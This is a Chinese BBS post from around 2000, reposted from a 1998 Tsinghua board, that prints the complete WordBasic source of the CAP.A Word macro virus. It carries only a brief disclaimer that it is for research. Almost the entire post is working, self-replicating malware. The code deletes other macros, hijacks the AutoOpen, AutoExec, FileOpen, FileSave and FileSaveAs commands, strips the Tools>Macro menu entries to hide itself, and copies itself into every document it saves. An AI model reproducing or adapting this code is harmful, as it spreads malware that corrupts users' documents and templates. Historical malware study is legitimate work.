VB 版 (精华区)

发信人: bloom (又臭又硬小石头), 信区: VB
标  题: CAP.A 原代码 
发信站: 哈工大紫丁香 (2000年07月18日19:22:03 星期二), 转信



发信人: tmoto (摩托), 信区: Virus
标  题: CAP.A 原代码
发信站: BBS 水木清华站 (Tue Nov 10 09:46:41 1998) WWW-POST

如果有宏病毒问题，请与我联系：
physicse@163.net


CAP.A 原代码：(只用于研究，千万不要制造病毒啊！！！）

'Macro CAP

Sub MAIN
'C.A.P: Un virus social.. y ahora digital..
'"j4cKy Qw3rTy" (jqw3rty@hotmail.com).
'Venezuela, Maracay, Dic 1996.
'P.D. Que haces gochito ? Nunca seras Simon Bolivar.. Bolsa !
End Sub
Dim Shared M$(9)
Sub S(F$)
On Error Resume Next
S$ = "F%"
D$ = "Macro"
C$ = "Close"
B$ = "Open"
A$ = "File"
M$(0) = "CAP"
M$(3) = A$ + C$
M$(5) = A$ + "Save"
M$(2) = A$ + B$
M$(9) = A$ + "Templates"
A$ = "Auto"
M$(6) = M$(5) + "As"
M$(1) = A$ + B$
M$(8) = A$ + "Exec"
M$(4) = A$ + C$
M$(7) = "Tools" + D$
M = 0
N = 0
For T = 1 To 0 Step - 1
For I = CountMacros(T) To 1 Step - 1
B$ = MacroName$(I, T)
If S$ = Left$(MacroDesc$(B$), 2) Then
For J = 0 To 9
If B$ = M$(J) Then
If T Then N = N + 1 Else M = M + 1
J = 9
End If
Next
Else
ToolsMacro .Name = B$, .Show = T + T + 1, .Delete
End If
Next
Next
If F$ <> "" Then
If M < 10 And N Then
ToolsOptionsSave .GlobalDotPrompt = 0, .FastSaves = 1, .AutoSave = 1, 
.SaveInterval = "10"
For I = 0 To 9
If I <> 7 Then K = - 1 Else K = 0
MacroCopy F$ + ":" + M$(I), M$(I), K
Next
B$ = S$ + LTrim$(Str$(Val(Mid$(MacroDesc$(M$(7)), 3)) + 1))
ToolsMacro .Name = M$(7), .Show = 1, .Description = B$, .SetDesc
A$ = MenuText$(0, 1)
For I = CountMacros(1) To 1 Step - 1
J = 0
B$ = MacroName$(I, 1)
Select Case MacroDesc$(B$)
Case S$ + "O"
J = 2
Case S$ + "C"
J = 3
Case S$ + "S"
J = 5
Case S$ + "SA"
J = 6
End Select
If J Then
C$ = MenuItemMacro$(A$, 0, J)
If Left$(UCase$(C$), Len(M$(J))) <> UCase$(M$(J)) And Left$(C$, 1) <> "(" 
Then MacroCopy F$ + ":" + B$, C$, K
End If
Next
T = - 1
For I = 0 To 1
If I Then J = 1 Else J = 6
A$ = MenuText$(I, J)
J = CountMenuItems(A$, I) - 1
For M = J To 1 Step - 1
If InStr(MenuItemMacro$(A$, I, M), D$) Then
If I Then
B$ = MenuItemMacro$(A$, I, M - 2)
If UCase$(B$) <> UCase$(M$(9)) And Left$(B$, 1) <> "(" Then MacroCopy M$(9), 
B$, K
Else
M = M + 1
End If
For T = M To M - 1 Step - 1
If T > 3 Then ToolsCustomizeMenus .MenuType = I, .Position = T, .Name = 
MenuItemMacro$(A$, I, T), .Menu = A$, .Remove, .Context = 0
Next
M = 1
T = 0
End If
Next
Next
If T Then
For I = 6 To J
If Left$(MenuItemMacro$(A$, 1, I), 1) = "(" And Left$(MenuItemMacro$(A$, 1, I 
- 2), 1) = "(" Then
For T = 1 To 3 Step 2
B$ = MenuItemMacro$(A$, 1, I - T)
If Left$(B$, 1) <> "(" Then MacroCopy M$(T + 6), B$, K
Next
I = J
End If
Next
End If
End If
Dim D As FileSaveAs
GetCurValues D
If N < 10 And D.Format = 1 Or D.Format = 0 Or D.Format = 6 Then
D.Format = 1
For I = CountMacros(0) To 1 Step - 1
B$ = MacroName$(I, 0)
If B$ <> M$(7) Then K = - 1 Else K = 0
MacroCopy B$, F$ + ":" + B$, K
Next
FileSaveAs D
End If
End If
Err = 0
End Sub
Sub FO
On Error Resume Next
DisableAutoMacros
On Error Goto E
Dim D As FileOpen
GetCurValues D
Dialog D
FileOpen D
S(D.Name)
E:
End Sub
Sub FC
On Error Resume Next
DisableAutoMacros
S(FileName$())
FileClose
End Sub
Sub FS
On Error Resume Next
DisableAutoMacros
On Error Goto F
FileSave
S(FileName$())
F:
End Sub
Sub FSA
On Error Resume Next
DisableAutoMacros
On Error Goto G
Dim D As FileSaveAs
GetCurValues D
If D.Format <> 1 Then
Dialog D
FileSaveAs D
S(D.Name)
Else
T = Window()
W$ = D.Name
FileNew .Template = FileName$()
On Error Goto H
GetCurValues D
D.Name = W$
Dialog D
FileSaveAs D
On Error Goto G
S(D.Name)
If T >= Window() Then T = T + 1
WindowList T
H:
FileClose 2
End If
G:
End Sub


'Macro AutoOpen
Sub MAIN
On Error Resume Next
CAP.S(FileName$())
End Sub

'Macro AutoExec
Sub MAIN
On Error Resume Next
DisableAutoMacros 0
CAP.S("")
End Sub

'Macro AutoClose
Sub MAIN
On Error Resume Next
CAP.S(FileName$())
End Sub

'Macro FileOpen
Sub MAIN
On Error Resume Next
CAP.FO
End Sub

'Macro FileClose FileSave FileSaveAs FileTemplates ToolsMacro 


--
※ 来源:·BBS 水木清华站 bbs.net.tsinghua.edu.cn·[FROM: 202.91.130.10] 
--
※ 修改:·bloom 於 07月18日19:22:49  修改本文·[FROM: 202.118.233.140]
※ 转载:．哈工大紫丁香 bbs.hit.edu.cn．[FROM: 202.118.233.140]